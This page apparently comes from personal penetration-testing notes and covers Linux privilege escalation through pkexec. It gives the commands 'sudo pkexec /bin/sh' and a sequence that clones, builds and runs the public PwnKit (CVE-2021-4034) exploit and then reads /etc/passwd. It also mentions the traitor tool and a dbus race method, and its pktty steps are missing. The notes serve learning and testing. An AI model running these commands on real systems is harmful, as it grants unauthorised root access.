📔
Cyber Security Notes
  • Introduction
  • CVEs
    • CVE-2022-33106
  • Paper Reviews
    • Imperfect Forward Secrecy: How Diffie-Hellman Fails in Practice
  • Security Basics Notes
    • Identification, Authentication and Authorization
  • Enumeration and Initial Compromise
    • Methodology
    • Footprinting
    • Network Protocols
      • FTP
      • SMB
      • DNS
      • NFS
      • SMTP
      • IMAP/POP3
      • SNMP
      • MySQL
      • MSSQL
      • Oracle TNS
      • IPMI
    • Nifty One Liners
    • Brute-Force Web Pages
      • Hydra
    • Network Pentest
      • Quick SMB cheatsheet
      • SSH keypair basics
      • Compromise using SSH Key
      • Networking fundamentals Interview topics
      • nmap quick cheatsheet
      • Metasploit Quick Reference
    • Web Pentest
      • Web Pentest Interview top topics
      • Wordpress Exploitation
      • Joomla Exploitation
      • Login Bypass using Cookie Tampering/Poisoning
      • Subdomain Enumeration
      • CSRF mitigation
      • XSS mitigation
      • CSP bypass with JSONP
      • PHP Vulnerabilities
      • Python Serialization Vulnerabilities - Pickle
      • SQL Injections
        • SQLmap
      • SSTI
      • XSS
    • Buffer Overflow Prep
      • Understanding CPUs
      • Virtual Memory and Paging
      • Syscalls
      • Theorem Proving
      • Stripping readable function names
      • Insecure C functions
      • Stack Canaries
      • Linking - GOT,PLT
      • Return Oriented Programming
    • Active Directory - Basics
      • AD DS
      • Managing OUs
      • Group Policies
      • Authentications
      • Trees, Forests and Trusts
      • Kerberos
      • Attacking Kerberos
      • Priv Esc (Post Exploitation)
    • DNS/Domain Enum Masterguide
  • Post Exploitation
    • Shell Escape Techniques
    • Getting stable shell after compromise
    • Linux Privilege Escalation
      • Sudoers file
      • Sudoers entry - Yum
      • Wildcards - Basics
      • Wildcards - Chown
      • Wildcards - Tar
      • Linux Permissions & SUID/SGID/Sticky Bit
      • SUID - nmap
      • SUID - bash
      • SUID - man
      • NFS no_root_squash
      • SUID - pkexec
      • Bad permissions
    • Windows Privilege Escalation
      • SeImpersonatePrivilege Token Impersonation
      • Firefox Creds
      • Potatoes
      • Print Spooler Basics
      • Print Spooler CVE 2020-1030
      • SpoolFool
    • Data Exfiltration Post Exploitation
  • Port Forwarding Cheatsheet
  • Powershell Essentials
    • Powershell Basics
    • Powershell Enumeration
    • Powershell Port Scanner
    • Powershell One Liner Port Scanning
    • Powershell Port Scan in a given CIDR
  • Application Security
    • System Calls in Linux
    • Buffer Overflow Defenses
    • Format string vulnerabilities
    • Sample Github Actions
    • Basic Bugs in Demo Application
    • Using AFL++
  • Linux 64-bit Assembly
    • GDB Basics
      • My relevant GDB cheatsheet
      • Task 1 - Tamper strcmp logic
      • Breakpoints
      • Always starting with intel flavor
      • GDB TUI Mode
    • Basic Hello World Program
    • Registers in 64-bit
    • global directive
    • Reducing instructions and Removing NULL-> Optimizing memory in Assembly
    • Data Types
    • Endianness
    • Moving Data
    • push, pop, and the stack
    • Analysis - Writing data on memory location and referencing
    • Arithmetic Operations
    • Bitwise Logical Operations
    • Bit-Shifting Operations
    • Control Instructions
    • Loops
    • Procedures
    • Stack-Frames and Procedures
    • String Operations
    • Shellcoding basics
      • Introduction and Common Rules
      • Basic Shellcodes->Exit
      • Testing shellcode->Skeleton Code
      • Techniques-> JMP,CALL,POP
      • Techniques-> Stack
      • Techniques-> (64-bit only) RIP Relative Addressing
      • Shellcode 1 -> execve(/bin/sh) STACK PUSH
      • Shellcode 1 -> execve(/bin/sh) JMP CALL POP
      • Techniques-> XOR-Encoder
  • Cloud Security
    • Foundational Technology
    • Learning Through Project Omega
    • IAM Essentials
      • Deep dive into IAM - Part 1
    • Amazon S3
    • Risk Management & Data Controls
    • Enumeration
      • S3 - Enum Basics - PwnedLabs
      • S3 - Identify the AWS Account ID from a Public S3 Bucket
      • EBS - Loot Public EBS Volumes
      • S3- Exploit Weak Bucket Policies for Privileged Access
  • API Security
    • WSDL
  • Reverse Engineering
    • Some string Operations
    • Numbers and Inputs
    • Address inputs
    • Recursive Function
    • Crackme: level1
    • Crackme: level2
    • CTF: Memory Dereferencing
    • CTF: Monty Python
  • CTF Challenge Learnings
    • vsCTF 2024
      • Sanity Check
      • not-quite-caesar
      • Intro to reversing
    • NCL Individual 2024
      • Web Challenges
        • PiratePals
        • Pierre's Store
    • Pico CTF 2024
      • Web Exploitation
        • Bookmarklet
        • WebDecode
        • Unminify
        • Trickster
      • General Skills
        • Commitment Issues
        • Time Machine
        • Blame Game
        • Collaborative Development
        • Binary Search
        • Dont-you-love-banners
    • Sunshine CTF
      • Knowledge Repository
    • Amazon WiCys CTF
      • I am Lazy
      • Password Locker on the Web
      • Happy Birthday Card Generator
      • Bloggergate
      • simple offer
      • Bad Actor
      • Secret Server
      • Simple PCAP
      • Hidden Message
    • C code using getenv()
    • Command Injection with filter
    • Pwning
      • Shoddy_CMP
      • PLT_PlayIT
  • Applied Cryptography
    • Linear Congruential Generator
  • Tools for everything
Powered by GitBook
On this page
  • sudo method
  • pwnkit method
  • traitor tool
  • pktty method
  • Dbus method polkit priv esc

Was this helpful?

  1. Post Exploitation
  2. Linux Privilege Escalation

SUID - pkexec

PreviousNFS no_root_squashNextBad permissions

Last updated 1 year ago

Was this helpful?

sudo method

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

sudo pkexec /bin/sh

pwnkit method

Here is an article I wrote previously on this:

cd /tmp
git clone https://github.com/berdav/CVE-2021-4034 pwnkit
make
./cve-2021-4034
whoami
cat /etc/passwd

traitor tool

pkexec can be used for priv esc using traitor as well

pktty method

If pkexec has SUID bit set

  1. Victim machine 1st terminal

  1. Victim machine 2nd terminal

  1. Victim machine 1st tterminal

Dbus method polkit priv esc

Everything to know about is in the blog above. It is a hit and try method. Depends on how fast the system is in sending dbus messages.

https://www.hackingarticles.in/linux-privilege-escalation-pwnkit-cve-2021-4034/
GitHub - liamg/traitor: Automatic Linux privesc via exploitation of low-hanging fruit e.g. gtfobins, polkit, docker socketGitHub
Privilege escalation with polkit: How to get root on Linux with a seven-year-old bugThe GitHub Blog
Logo
Logo